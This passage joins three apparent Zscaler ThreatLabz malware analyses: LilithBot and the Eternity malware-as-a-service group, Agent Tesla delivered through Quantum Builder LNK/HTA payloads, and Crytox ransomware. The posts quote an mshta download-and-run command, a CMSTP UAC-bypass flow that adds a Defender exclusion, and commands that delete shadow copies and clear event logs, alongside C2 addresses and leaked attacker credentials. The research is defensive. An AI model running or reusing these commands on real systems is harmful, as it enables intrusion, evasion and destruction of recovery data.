bypass detections; it acts as a stealer, miner, clipper, and botnet. In this blog, ThreatLabz will explain various aspects of the LilithBot threat campaign. About Eternity Eternity Project is a malware toolkit which is sold as a malware-as-a-service (MaaS). These malware are distributed via the Tor proxy. Eternity advertises via a dedicated Telegram channel named @EternityDeveloper and has an email address of eternity@onionmail[.]org. They have different types of services: Stealer Miner Clipper Ransomware Worm+Dropper DDoS Bot Eternity usually operates via Telegram and accepts payments through popular cryptocurrencies including BTC, ETH, XMR, USDT, LTC, DASH, ZEC and DOGE. They provide customized viruses and will create viruses with add-on features if the customer desires.The price of the malware ranges from $90-$470 USD. The below screenshot of the Eternity Telegram channel illustrates the regular updates and enhancements the group makes to their products. Fig 1. Eternity Telegram Channel The Telegram channel is dubbed “Eternity Channel.” Basic account details are shown below. Fig 2. Telegram Home Page The Eternity group regularly directs clients to their dedicated Tor link, in which their various malware and their features are laid out in detail. Fig 3. Tor link mentioned in Telegram The Tor link leads to the below homepage, which explains the various products and modules available for purchase. Fig 4. Tor site for Eternity group The highest priced product for sale is their Ransomware, described in the below screenshot. The ransomware encrypts documents and files of the targeted user. The Tor page includes a dedicated video on how to generate the ransomware payload. Fig 5. Features of payloads In summary, Eternity has a very user-friendly service that is: Easy to purchase and operate via Tor, with a wide range of popular crypto currencies accepted for payment. Customizable to fit clients’ specific needs. Regularly updated at no additional charge. They also offer many add-on discounts and referral rewards to their customers. Comparison Between Two Variants As the LilithBot malware has evolved, we have observed slight differences in the main function of different releases. Several commands that were present in earlier variants are not present in the newest variant that we have received. These functions include: Checking for the presence of various DLLs by iterating via arraylist and returning a Boolean value.The DLLs mentioned are related to virtual software like Sandboxie, 360 Total Security, Avast, and COMODO AVs. Checking for Win32_PortConnector which represents physical connection ports such as DB-25 pin male, Centronics, or PS/2. This ensures that it’s on a physical machine rather than a virtual machine. Fig 6. Comparison between variants It is likely that the group is still performing these functions, but doing so in more sophisticated ways: such as performing it dynamically, encrypting the functions like other regions of code, or using other advanced tactics. Technical Analysis The entry point starts with registration of the bot. The malware initially checks with a Mutex named “8928a2d3-173b-43cb-8837-0e2e88b6d3b1” and subsequently checks for a file in the Startup folder. It then copies the same into the Startup folder if the file does not exist. The function StartupFilename then checks whether a file has been created which with an extension of “.exe”,”.com” or “.scr”; if not, it will append “.exe” to the filename and add this filename in the Startup path. Fig 7. Mutex Creation Fig 8. Checks Startup Files The image below shows that the bot has successfully registered when the response to the decrypted data has the string “registered successfully” present in the register bot function, when checking the array data value. Fig 9. Steals User Information Fig 10. Registered Successfully The Initialize function can be used to extract the value of different fields in a config file, as shown below. After decrypting the aes cipher, we can see all the important fields present in the config file. The following are the fields present inside the config file: "Lilith": { "CommandsCheckInterval": 14 }, "BotKiller": { "Enabled": false }, "Stealer": { "Enabled": true }, "Clipper": { "Enabled": true, "Addresses": { "XMR": "493eic71yTX23KnxuC1FimhkW5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLdXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg", "BTC": "bc1qd8e4maz97mv23slmgg7d4je2mydslkl5m56vdz", "ETH": "0xFf7f57a2c7952fD9550A5E0FE53d4F104886403A" } }, "Miner": { "Enabled": false, "Pool": "pool.minexmr.com:4444", "Wallet": "493eic71yTX23KnxuC1FimhkW5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLdXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg", "Password": "x", "MaxCPU": "40" } Fig 11. Decrypted Config File Found in memory We also came across a function that confirms the malware is using its own decrypting mechanism so that it can’t be decrypted manually. All the encrypted data goes through the function “DecryptBytesToString” on which we can extend our breakpoint to know all the values of the decrypting data using dynamic analysis. We can see that the C2 server has the IP address: 77.73.133[.]12 with the port no. 4545 with the api gate/ and which expects certain arguments for field {0} and {1}. The key and data are hidden inside the Hex array which we can see in the memory dump. We can decrypt the encoded key which translates to the value c4d8c7f433c1e79afe4eff3a4b05c7c9. We also observed a license key field which has the value 59BE0ABAF3BC570D8F6F88A597C64B85. This is the decrypting function; the below image shows the decrypted text for the corresponding values. Fig 12. Decrypted License Key and Encoded Key The sample also defines a function which gets the response of the body. If the response is not null, it then checks to make sure both the C2 server and the target’s network are online. Then, it will then generate the GET request by checking a few permissions. The malware further checks whether the hostname contains the onion domain. After checking the permissions, it downloads the Tor bundle and connects to the IP. The Upload File function combines the hostname with the client, name of the file, and directory as parameters. Fig 13. Checks if bot is online or offline Network Artifacts LilithBot malware shows 3 requests to the Host ip:77.73.133[.]12 with port 4545.The user agent shows the relation of the malware with LilithBot. The first request is to register the bot with /registerBot API with the mutex name prepended. Fig 14. Sends Request to Register Bot The second request is an API to download the file contents according to the plugin settings ‘admin_settings_plugin.json’. Fig 15. Requests plugin settings We see another request to upload the file in a ZIP format named as “report.zip” with dir parameter as ‘Stealer’. The zip file contains multiple directories that store information typical of a stealer, including the browser history, cookies, and personal information such as pictures stored in the C:\Users\[user]\Pictures folder, and much more. Fig 16. Uploads report file Fig 17. Contents inside Report.zip Fake Certificates A legitimate Microsoft-signed file is issued by the “Microsoft Code Signing PCA” certificate authority, and will also display a countersignature from Verisign. However, we have seen that the fake certificates in LilithBot have no countersignature, and appears to have been issued by “Microsoft Code Signing PCA 2011” which was not verified. Fig 18. Fake certificate issued by Microsoft Sandbox Report Fig 19. Zscaler Sandbox report Zscaler's multilayered cloud security platform detects indicators, as shown below: Win64.PWS.LilithBot MITRE ATT&CK ID Tactic Technique T1003 Credential Access OS Credential Dumping T1552.002 Credential Access Credentials in Registry T1114.002 Collection Remote Email Collection T1005 Collection Data from Local System T1204 User Execution User interaction T1268 Conduct social engineering Uses social eng to install payload T1222 Defense Evasion File Directory Permissions Modification T1027 Defense Evasion Obfuscated Files or Information T1016 Discovery System Network Configuration Discovery T1012 Discovery Query Registry T1018 Discovery Remote System Discovery T1057 Discovery Process Discovery T1047 Execution Windows Management Instrumentation T1059 Execution Command and Scripting Interpreter T1037.005 Persistence, Privilege Escalation Startup Items T1071 Command and Control Application Layer Protocol Indicators of Compromise (IOCs) 0ebe8de305581c9eca37e53a46d033c8 Executable using microsoft signed certificate 1cae8559447370016ff20da8f717db53 Executable using microsoft signed certificate e793fcd5e44422313ec70599078adbdc Executable File 65c0241109562662f4398cff77499b25 Dll File using microsoft signed certificate 77.73.133.12 C&C 45.9.148.203 C&C 91.243.59.210 C&C 195.2.71.214 C&C Wed, 05 Oct 2022 09:00:01 -0700 Shatak Jain https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group https://www.zscaler.com/blogs/security-research/agent-tesla-rat-delivered-quantum-builder-new-ttps Zscaler ThreatLabz has observed a campaign that delivers Agent Tesla, a .NET based keylogger and remote access trojan (RAT) active since 2014, using a builder named “Quantum Builder” sold on the dark web. This campaign features enhancements and a shift toward LNK (Windows shortcut) files when compared to similar attacks in the past. Quantum Builder (aka “Quantum Lnk Builder”) is used to create malicious shortcut files. It has been linked to the Lazarus Group APT due to shared TTPs and source code overlaps, but we cannot confidently attribute this campaign to any specific threat actor. In this campaign, threat actor use Quantum Builder to generate malicious LNK, HTA, and PowerShell payloads which then deliver Agent Tesla on the targeted machines. The payloads generated by the builder employ sophisticated techniques such as: User Account Control Bypass using the Microsoft Connection Manager Profile Installer (CMSTP) binary in order to execute the final payload with administrative privileges, and to perform Windows Defender Exclusions Utilizing a Multi-Staged Infection Chain integrating various attack vectors involving LOLBins Execution of PowerShell scripts in-memory in order to evade detection Execution of decoys in order to distract the victims post-infection. In the following blog, we have performed an in-depth analysis of the Infection Chains delivering Agent Tesla and the comparison of the payloads generated by Quantum Builder. Key Features of this Attack: The threat actors are evolving their tactics by incorporating new infection chains for delivering Agent Tesla on target machines by leveraging the LNK and HTA payloads generated by a builder dubbed “Quantum Builder” The Quantum Builder is a builder sold in the cybercrime marketplace and is capable of generating LNK, HTA, and ISO payloads consisting of sophisticated techniques to download and execute the final payload with a Multi-Staged attack Chain. The In-memory PowerShell scripts decrypted by Quantum Builder-generated HTA file perform User Account Control (UAC) Bypass via CMSTP in order to execute the final payload (Agent Tesla) with Administrative rights. UAC Bypass is also used to perform Windows Defender exclusions on the endpoint system. Utilizes Living Off the Land Binaries (LOLBins) to evade detections and camouflage the malicious activity. Incorporates techniques like Decoys, UAC Prompts and In-memory PowerShell to execute the final payload. These Techniques are regularly updated by the Developers of the Quantum Builder. Infection Chain: The novel infection chain commences with a spear phishing email which consists of a LNK File bundled as a GZIP Archive. Upon execution of the LNK File, the embedded PowerShell code spawns MSHTA which further executes the HTA File hosted on the Remote server. The HTA File then decrypts a PowerShell loader script which decrypts and loads another PowerShell script after performing AES Decryption and GZIP Decompression. The decrypted PowerShell script is the Downloader PS Script, which first downloads the Agent Tesla binary from a remote server, and then executes it with administrative privileges by performing a UAC Bypass using the CMSTP. Finally, the Agent Tesla is executed on the target machine with administrative privileges. Fig 1. Infection Chain Infection Chain - Technical Analysis: As discussed earlier, the Infection Chain starts with a spear phishing email with the subject: “New Order Confirmation - Guangdong Nanz Technology co. ltd.” GuangDong Nanz Technology is a Chinese Manufacturing Company and a leading supplier of Lump & Rock Sugar from Guangdong, China. Fig 2. Spear phishing Email with attached malicious .LNK File The spear phishing email consists of a GZIP Archive as an attachment. This archive is bundled with a Malicious .LNK (Windows Shortcut File) file with a PDF icon that lures the victim into execution as shown in the above screenshot. Once executed, the .LNK File runs an obfuscated PowerShell code which at first decrypts two base64 encoded strings using FromBase64String() and then XOR decrypts both the decoded strings using a hardcoded Single-Byte XOR Key: 0x77. The decrypted strings are then combined forming the following command “IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/ordr[.]hta” Fig 3. Obfuscated PowerShell Code executed via the .LNK File The Invoke-Expression command is then executed which spawns the mshta.exe utility to execute a HTML Application (.HTA) file hosted on a remote server, whose URL is an argument to mshta binary. The MSHTA allows the threat actors to proxy the execution of arbitrary code through a trusted utility as shown in the screenshot below. Fig 4. Executes a HTA File hosted on a Remote Server via MSHTA The HTML Application (HTA) File executed by the MSHTA via the .LNK File contains multiple junk VBScript functions of around 1000 lines and consists of only a single function which is used for performing the malicious activity. The main malicious function first initiates an Encrypted Array and then passes it to a decryption function as shown in the below figure. Fig 5. HTA File - Main Function Next, the Decryption Routine checks whether the input is an Array by checking the VarType() as “8204” and then decrypts the Array by subtracting each value of the Array by a hard coded key value “37166” and then converting them into characters. These decrypted characters are then concatenated together forming a PowerShell Script as seen in the following screenshot. Fig 6. HTA File - PS Script Decryption Routine A similar Decryption routine is performed for decrypting the string “Wscript.Shell” with an Encrypted Array as an input. Once decryption of the PowerShell script and the Shell Object string is completed, the malicious function creates an Wscript.Shell Object via CreateObject() and then executes the Decrypted PowerShell Script via the Run Method. Fig 7. HTA File - PowerShell Script Execution Then, the Decrypted Loader PowerShell is executed in the form of a Hidden Window with the execution policy set as Unrestricted. The main aim of this Loader PowerShell Script is to decrypt another Downloader PowerShell Script by first performing an AES Decryption routine against an encrypted blob of data with a base64 encoded key. Once the AES decryption is completed, the decrypted value is then GZIP Decompressed which provides us with the new Decrypted PowerShell script, which is executed in-memory via Invoke-Expression. The complete code snippet with pointers can be seen in the screenshot below for better understanding. Fig 8. Execution of New PowerShell Script - AES Decrypted and GZIP Decompressed The AES Decrypted and GZIP Decompressed Downloader PowerShell Script executed by the IEX function is the key PowerShell Script performing following malicious actions: Downloads the Final Agent Tesla Payload from the Remote Server Performs CMSTP User Account Control (UAC) Bypass - To execute Agent Tesla with administrative privileges To exclude the AppData directory (Contains the Agent Tesla Binary) from the Windows Defender Hides the Agent Tesla Binary by manipulating the File Attributes The routine first downloads the Agent Tesla binary from the remote server by initially fetching the AppData path from the Environment Variable and then concatenating it with the hardcoded binary name “MuUQDuaFNoGmHQE.exe”. Further, it checks whether the binary path already exists. If the path exists, the PS Script executes the CMSTP UAC Bypass which then executes the binary (Agent Tesla) with administrative privileges. If not, an encrypted array is passed as an argument to the Decryption routine as seen in the screenshot below. Fig 9. Decrypted PowerShell Script Now, the Decryption routine decrypts the Array by subtracting each value of the Array by a hard coded key value “79114”. In this case the decrypted string is the following download URL: https[:]//filebin.net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe which hosts the Final Agent Tesla payload. Fig 10. Decryption of Downloader URL The Decrypted Download URL is then passed on to a Downloader function which first decrypts the Net.WebClient strings and then initializes a New Web Client Object. Further, it executes the WebClient.DownloadData() function with the filebin[.]net URL as the argument. The DownloadData() function downloads the resource as a Byte array from the filebin[.]net URL as seen in the following screenshot. Fig 11. Downloads the Agent Tesla from Remote Server The Downloaded Agent Tesla binary is then written to the disk via WriteAllBytes() function at the following path: “C:\Users\<username>\AppData\Roaming\MuUQDuaFNoGmHQE.exe” Fig 12. Writes the downloaded Agent Tesla binary in AppData Directory Next, the PowerShell Script performs the CMSTP User Account Control Bypass in order to execute the Agent Tesla binary with Administrative privileges. CMSTP is the Microsoft Connection Manager Profile Installer used for installing or removing the connection manager service profiles and is distributed by Microsoft. The CMSTP accepts an INF (Installation Information) File as the argument for installing the service profile. In this case, the threat actors abuse the CMSTP to bypass UAC with the help of a malicious INF file which contains the commands to be executed. Once the CMSTP binary tries to install the INF file, the CMSTP in the background executes the COM interface CMLUAUTIL which is auto-elevated, allowing the malicious commands to be executed with elevated privileges. In our case, the path of the Agent Tesla binary is passed as an argument to the CMSTP UAC Bypass function in the PS Script. The function initially decodes a huge block of base64 encoded data along with the path of the binary being concatenated within the decoded data as portrayed in the screenshot below. Fig 13. CMSTP UAC Bypass Function The base64 decoded data is a PowerShell based CMSTP UAC Bypass PoC available on Github: link. The decoded PowerShell script is then base64 encoded and further executed in a encoded fashion (-Encoded) with a hidden window as seen in the screenshot below. Fig 14. Execution of CMSTP UAC Bypass PS Script Further, the PowerShell based CMSTP UAC Bypass PoC script upon execution writes a malicious INF file in the Temp directory wherein the $CommandToExecute variable in the PS Script is the path of the Agent Tesla binary. Therefore, the malicious INF file written on disk consists of the path to the Agent Tesla binary as the command to be executed with elevated privileges upon execution of CMSTP.exe, as shown in the screenshot below. Fig 15. Malicious INF File with command to be executed Once the INF file is written in the Temp Directory the PowerShell script spawns a new process “cmstp.exe” with “/au $InfFileLocation” as the arguments, which then installs the malicious INF File, as shown below. Fig 16. Execution of CMSTP.exe with the malicious INF File as the argument Now while the installation of the INF file is in process by the cmstp.exe, the commands in the RunPreSetupCommandsSection parameter are executed with Administrative privileges. The script sends an [ENTER] keystroke input across to an active Window Application in order to automate the process using SendKeys.SendWait() function. Fig 17. Sends [ENTER] keystroke to trigger the UAC Bypass In our case, the RunPreSetupCommandSection parameter in the malicious INF consists of the path to the Agent Tesla binary residing in the AppData Directory. Therefore, when the cmstp.exe is spawned with the malicious INF as the argument, the COM interface CMLUAUTIL is auto-elevated. This executes the malware with administrative privileges, bypassing the UAC as seen in the screenshot below. Fig 18. Agent Tesla malware executed with Administrative privileges bypassing the UAC Once Agent Tesla is executed with elevated privileges, it performs malicious activities such as stealing personal data from Browsers, Mail Clients and logs keystrokes. It is also capable of keylogging, form-grabbing, Clipboard hijacking similar to the older variants of Agent Tesla and further communicates with the FTP based CnC server: “ftp[.]qurvegraphics[.]com” Configuration: Protocol: ftp Host: ftp[.]qurvegraphics[.]com Port: 21 Username:eddx@qurvegraphics[.]com Password: C1WJFi]vTamX FTP based CnC Communication: Fig 19. FTP Based Agent Tesla CnC Communication Furthermore, a similar CMSTP UAC Bypass function is implemented in the PowerShell script to add a Windows Defender Path exclusion for the AppData Directory where the AgenTesla Binary resides. The only difference in this case from the INF end is that the RunPreSetupCommandsSection parameter of the INF File consists of the following command: “PowerShell -NoLogo -WindowStyle hidden -NonInteractive -NoProfile -Execution Policy UnRestricted Add-MpPreference -ExclusionPath $env:AppData” which is executed with administrator privileges bypassing the UAC via cmstp.exe, as discussed earlier. Fig 20. Window Defender Exclusion via CMSTP UAC Bypass Along with all of these functions, the PowerShell script also hides the Agent Tesla Binary by manipulating the hidden file attribute. This completes the Infection Chain used by the threat actors to deliver Agent Tesla on the victim machines. Fig 21. Hides the Final Payload by manipulating the File Attributes Attack Variations We came across multiple samples using another variation of the Infection Chain to deliver Agent Tesla on the victim machine. In this variation, the initial .LNK File (PAYMENT.png.lnk) was bundled in a ZIP Archive (PAYMENT.png.zip). The .LNK file in this case is also tasked to execute a HTA File hosted on the remote server by decoding the following command: “Iex mShta http://179[.]43[.]175[.]187/puao/PAYMENT.hta” by converting the integers into characters and then replacing whitespaces and further leveraging MSHTA to execute the HTA file from the remote URL as shown in the screenshot below. Fig 22. Execution of Remote HTA File via .LNK The HTA File executed by MSHTA in this case is identical to the one used in the previous infection chain, where the Encrypted Array is passed on to the Decryption Function which decrypts the Array by subtracting each value of the Array by a hard coded key value “63194” and then converting them into characters to forms the PowerShell script which is been executed via the Run method. Fig 23. HTA File decrypts the PowerShell Script Apart from the Run() Method, in some cases the HTA file leverages the ShellExecute() Method to run the decrypted PowerShell script with the “runas” verb, and would then try to elevate permissions by spawning a UAC Prompt at the user end. Fig 24. UAC Prompt via ShellExecute() “RunAs” Further, the Decrypted Downloader PowerShell in this case is also similar to the previously analyzed PowerShell script, except that it does not incorporate the AES Decryption PS Stage and the CMSTP UAC Bypass component in the following script. In this variation, the Downloader PowerShell Script first decrypts the Download URL “179[.]43[.]175[.]187/puao/PAYMENTS[.]exe” using a similar decryption function with hardcoded key value as “58146”, and then downloads and writes the Agent Tesla payload from the Download URL to the AppData directory using DownloadData() function. Once written, it executes the Agent Tesla payload from the AppData path using Start-Process(); if the extension of the payload is “.dll” then it uses rundll32.exe to load the DLL in the virtual memory. Fig 25. Downloads and Executes Agent Tesla via the Decrypted PowerShell Script In some cases we also came across In-memory decrypted PowerShell scripts which downloaded and executed a decoy file using Invoke-Item function. This was done to distract the victims from the malicious activities as shown in the screenshot below. Fig 26. Decoy Execution The final Agent Tesla payload in this case uses SMTP based CnC Communication with the following configuration: Protocol: "SMTP", Email Address: sales@thesharpening.com.au Password: Sa4=3jj*E{#_ SMTP Server: mail[.]thesharpening[.]com[.]au Fig 27. SMTP based CnC Communication performed by Agent Tesla ‘Quantum’ Builder Analysis & Comparison: From our analysis of the Infection chain explained previously, we were able to deduce that the LNK, HTA payloads and the in-memory PowerShell scripts were generated by a builder named “Quantum Builder”. The Quantum Builder is a completely customizable builder capable of generating evasive LNK, HTA, and ISO Payloads incorporated with advanced techniques such as UAC Bypass, In-memory payloads as a method to evade detection at any cost, and many more. The builder is sold with various pricing plans in the cybercrime marketplace, and is updated regularly with new techniques to evade detections. Fig 28. Quantum Builder We were able to get our hands on Quantum Builder, which allowed us to analyze and compare the generated payloads with the In-the-Wild (ITW) payloads used in the above Agent Tesla campaign. Following is the analysis & comparison below for the HTA and LNK Builder modules. Module 1 - HTA Builder The HTA builder accepts the following inputs from the user end in order to build the HTA Payload as shown in the screenshot below Fig 29. Quantum Builder - HTA Builder Next, the input values are passed to the HTA Builder function where the values are concatenated and arranged in order to construct the HTA File as can be seen in the screenshot below. Fig 30. Quantum Builder - HTA Generation (Testing.hta) Now if we compare the “Testing.hta” code with ShellExecute function in the above screenshot (Fig. 31) with the In-the-Wild HTA ShellExecute function analyzed previously (Fig. 32) tasked with executing the Decrypted PS script and UAC Prompt, we can see similarities between them, verifying that the payloads were generated by the Quantum Builder itself. Fig 31. In-The-Wild HTA File Here, the HTA and In-memory PowerShell files change a bit based on the options selected whilst building the payload. Per our analysis, almost all are similar to the files seen in the wild and previously analyzed in the infection chain analysis, proving that they have been generated from the Quantum Builder. Module 2 - LNK Builder The LNK Builder module accepts the following values as seen in screenshot below in order to generate a Malicious LNK file. Fig 32. Quantum Builder - LNK Builder The input values are then arranged in the required format: Some strings are XOR Encrypted and then arranged in a specific way, and then the LNK (Shortcut) file is created using the CreateShortcut() Function with the pathlink where the LNK file is to be saved. Here in the screenshot, we can take a look at the parameters to the Shortcut file such as the Description, IconLocation, Target Path, Arguments and WindowStyle. Fig 33. Quantum Builder - LNK Builder Comparing the PowerShell code in the above screenshot leveraging the “ -join | % { [char] ($_ -bxor”, “[convert]::FromBase64String”, “sal” to the PowerShell code present in the .LNK File from the Agent Tesla campaign shown below, we see that the arguments are identical proving that it was generated by the Quantum Builder. Fig 34. Agent Tesla Campaign LNK PowerShell code snippet The builder also can generate ISO payloads bundled with the malware to be delivered, as shown in the below screenshot. Fig 35. ISO Builder The Quantum Builder has been used by threat actors in multiple campaigns in the wild to deliver various malware families including: RedLine Stealer IcedID GuLoader RemcosRAT and AsyncRAT Thus, we can conclude that the threat actors are leveraging the “Quantum Builder” in order to generate LNK, HTA and ISO Payloads equipped with advanced techniques (which keep on updating regularly) to deliver various malware on the target machines. Zscaler Sandbox Coverage: Figure 36. The Zscaler Cloud Sandbox successfully detected the Downloader. LNK.Downloader.AgentTesla Conclusion: Threat actors are continuously evolving their tactics and making use of malware builders sold on the cybercrime marketplace. This Agent Tesla campaign is the latest in a string of attacks in which Quantum Builder has been used to create malicious payloads in campaigns against various organizations. It incorporates sophisticated techniques to evade detections, and the techniques are updated regularly by the developers. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe IoCs: LNK hash: 3edfa0cf3b7d54c24013e4f0019dba20 bb914889d5edc6b56c666d2e44e1a437 1adc0bd494cd42578ac8c8e726d5ad92 31c341ad31224cc7d38a5c4e80ccb727 f931773a226809669cad91410a57267f HTA URL: filebin[.]net/njqyvfot61w0tu9a/ordr[.]hta filebin[.]net/yiob7vjw7pqow03r/RFQ_270622[.]hta 179[.]43[.]175[.]187/puao/PAYMENT[.]hta 179[.]43[.]175[.]187/puao/PO-M6888722[.]hta Agent Tesla Download URL: filebin[.]net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe 179[.]43[.]175[.]187/puao/PAYMENTS[.]exe 179[.]43[.]175[.]187/puao/PO-M6888757[.]exe Agent Tesla hashes: d9433faddcaca526b26f713e27e2505f 213ada506251c477480bd14ea5507bf3 0ebb9d422f8e86458d8fa7f66fe1d0f1 563fda5da81a5e7818d771222e81f6c4 Agent Tesla CnC: mail[.]thesharpening.com[.]au ftp[.]qurvegraphics[.]com Tue, 27 Sep 2022 08:01:11 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/agent-tesla-rat-delivered-quantum-builder-new-ttps https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware Key points Crytox is a ransomware family consisting of several stages of encrypted code that was first observed in 2020 The ransomware encrypts local disks and network drives and leaves a ransom note with a five day ultimatum, but does not exfiltrate data from the victim Crytox drops the uTox messenger application on the infected system that enables the victim to communicate and negotiate with the threat actors Crytox uses AES-CBC with a per file 256-bit key that is protected with a locally generated RSA public key File decryption may be possible via a known plaintext bruteforce attack Summary The threat actor using Crytox ransomware has been active since at least 2020, but has received significantly less attention than many other ransomware families. In September 2021, the Netherlands-based company RTL publicly acknowledged that they were compromised by the threat actor. The company paid Crytox 8,500 euros. Compared with current ransom demands, this amount is relatively low. Unlike most ransomware groups, the Crytox threat actor does not perform double extortion attacks where data is both encrypted and held for ransom. The modus operandi of the group is to encrypt files on connected drives along with network drives, drop the uTox messenger application and then display a ransom note to the victim as shown in Figure 1. Figure 1. Crytox ransom note The ransom demand period is set to five days to pressure the victim into paying as soon as possible Technical analysis The sample analyzed by ThreatLabz has the following SHA256 hash 32eef267a1192a9a739ccaaae0266bc66707bb64768a764541ecb039a50cba67. In most cases, Crytox samples are packed with UPX. Once decompressed, a sample usually weighs in around 1.23MB because the whole uTox client is embedded inside the malware. Cryptox uses different techniques to thwart static analysis including the following: API hashing Encrypted configurations Encrypted shellcode Remote thread injection Some parts of the malware look directly written in assembly. The most noteworthy thing is the use of a specific implementation of AES-CBC shown in Figure 2. Figure 2. Crytox implementation of AES The authors borrowed the AES code and modified some parts to meet their needs. They even added an alternative algorithm using Intel x86 AES instructions. Oddly enough, the authors chose to only implement the Rijndael_Encrypt routine to both decrypt their config and encrypt files. This means that when they embedded their configurations, they used the AES decryption routine to encrypt them. The key used for decrypting the Crytox configurations are either the first or second block of 32 bytes of the AES lookup table Te1 using a NULL initialization vector (IV). First-Stage The malware encrypts the first-stage configuration using the aforementioned implementation of AES-CBC. Here, the AES key is the first 32 bytes of the Te1 lookup table a5c6636384f87c7c99ee77778df67b7b0dfff2f2bdd66b6bb1de6f6f5491c5c5 as shown in Figure 3. Figure 3. Crytox first-stage configuration after decryption This configuration contains the following information: A hardcoded 2048-bit RSA public key The path to drop the uTox client application The Run registry value for the ransom note to be displayed at startup The process name to inject The class registry key to store the malware's configuration After this configuration has been decrypted, the malware locally generates a 2048-bit RSA key pair using the CryptGenKey function. The generated RSA private key is then encrypted five times using the hardcoded public key. Under the sub-key HKCR\.waiting\shell\open\command\, the ransomware stores the following value-data pair shown in Table 1. Value Data "en" Generated RSA public key "n" Encrypted generated RSA private key "" C:\Windows\System32\mshta.exe "C:\ReadMe.hta" Table 1. Crytox registry configuration In order to make sure the ransom note is displayed on startup, the registry value open along with the data "C:\ReadMe.hta" are created under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Once the Crytox configuration is stored, the code proceeds to locate a process to inject the second-stage. A remote thread is created to execute the first piece of shellcode. Second-Stage This stage decrypts a second configuration using AES-CBC with the following key 5060303003020101a9ce67677d562b2b19e7fefe62b5d7d7e64dabab9aec7676 (which is the second block of 32 bytes from the lookup table Te1). According to this decrypted configuration, the shellcode executes a batch file to delete shadow copies and remove events from the logs. Essentially the following commands are run:: for /F "tokens=*" %%1 in ('wevtutil.exe el') DO wevtutil.exe cl "%%1" vssadmin.exe Delete Shadows /All /Quiet diskshadow.exe /s ../pghdn.txt The file pghdn.txt contains the line "delete shadows all". Given the following hashing algorithm, the second-stage searches for the process ID (pid) of the process for which the hash of its name corresponds to 0xDCF164CD (explorer.exe) or 0x561F1820 (svchost.exe). name = process_name + "\x00" hash = 0 for c in name.upper(): hash = ROTR32(hash, 0xD) + ord(c) Inside a new thread, the shellcode creates a mutex by concatenating a hardcoded 4-letter word (e.g., "CSWS") with some random characters based on the pid of the targeted process as shown in Figure 4. Figure 4. Crytox mutex creation The thread then decrypts the content from the resource section of the original malware using the same algorithm and key as for the second configuration. This resource contains another shellcode, which is the final stage. This shellcode is injected inside the targeted remote process. Third and Final Stage Using the same encryption algorithm, with the first 32-bytes of the Te1 lookup table as the AES key, this final stage decrypts the main configuration containing the following information: A seed for generating the file encryption key An .hta formatted ransom note A simple regular expression for listing all files on the system The encrypted file extension (e.g., YOUR ID.waiting) Privileges to remove (SeBackupPrivilege, SeRestorePrivilege) First, the code tries to retrieve the configuration that the first stage stored in the registry hive. If this configuration doesn't exist, Crytox will create it. The code proceeds to set a countdown variable in the ransom note followed by replacing the string YOUR ID in the ransom note template. The latter value is replaced with a unique victim ID that is generated by the following pseudo-algorithm based on the encrypted locally generated RSA private key: Figure 5. Crytox victim ID generation algorithm Before encrypting any files, the malware removes the SeBackupPrivilege and SeRestorePrivilege privileges. Using the functions WNetOpenEnumW and WNetEnumResourceW, the malware retrieves connected drives and for each drive found, a thread is created to encrypt files. The same process is applied for every logical drive using the function GetLogicalDrives. The malware then waits for a lock to be released before calling the ShChangeNotify function in order to change the icon and file association and to display the ransom note to the victim. File encryption The algorithm to discover all the files is relatively standard and relies on a recursive approach. The Windows directory is excluded from the search along with the ransom note and files with the .waiting extension. In addition, Crytox will only encrypt files that are larger than 16 bytes, which is the size of a block for AES. If the size of a file is not an exact multiple of 16 bytes, the malware will not pad and encrypt the last block of data. For large files, only the first 1,048,576 (0x100000) bytes are read and encrypted to optimize encryption speed. For each file, a new 256-bit AES key is generated and the content of the file is encrypted using AES-CBC. Crytox then creates the following structure in Figure 6. Figure 6. Cryptox cipher footer structure The BLOBHEADER structure is set like this: .bType = PLAINTEXTKEYBLOB .bVersion = CUR_BLOB_VERSION .aiKeyAlg = CALG_AES_256 Since the structure is not initialized, the padding structure is filled with random data. This structure is encrypted with the locally generated RSA public key. The resulting cipher is concatenated to the end of the encrypted file followed by the encrypted generated RSA private key. The encrypted file is renamed by appending YOUR ID.waiting to the original filename with YOUR ID replaced by the victim ID computed as described previously. A ransom note is written to every directory after encrypting all files that are present. A process flow chart for Crytox is illustrated in Figure 7. Figure 7. Process flowchart for Cryptox encryption Key Generation Algorithm and Weakness As stated previously, a 256-bit AES key is generated for each file that is encrypted. The following algorithm in Figure 8 is used for the key generation. Figure 8. Crytox key generation algorithm The custom pseudo random key generator functions relies on the variables below: A seed value determined by calling GetTickCount A 64-bit integer config_t.random_generated initially set to 0 A 32-bit integer constant config_t.config_seed The last value is stored inside the malware's configuration. This value has been the same across samples analyzed by ThreatLabz. The only unknown value necessary to determine the AES key is the value of GetTickCount at the time of encryption. However, if some plaintext of a file is known, efforts to bruteforce the AES key are feasible. Based on file magic values, one can divise a bruteforce program with the following logic: Set a counter to 0 Let the random generator create a key with the counter as the rotating seed Decrypt the first block of the encrypted file Compare a known magic value with the decrypted data If the value matches, the initial value of GetTickCount and the key have been successfully identified. Else, increment counter and loop back to 2. Figure 8 shows an bruteforce program running on a machine with 16 logic cores. Here, the encrypted file was dotnet-sdk-3.1.416-win-x64.exe (SHA1: 83A53E8770EDD38EDDD37DED63CEF2253FC16979) and the known plaintext was the Windows PE (MZ) file header 4D5A9000. Figure 9. Cryptox example bruteforce key recovery The method relies on knowing a part of the plaintext at a specific offset. Thus, only specific file types may be decrypted. Because the seed is based on GetTickCount, if one has access to the master file table (MFT) and is able to locate and decrypt the first and last file encrypted, then the range of GetTickCount values can be deduced. Therefore, the bruteforce range can be greatly reduced to decrypt all files. Conclusion Crytox exposes some interesting features to hinder static analysis by self-decrypting itself several times, injecting shellcode inside different processes, encrypting its configurations and using API hashing. The main file encryption logic of Crytox is standard 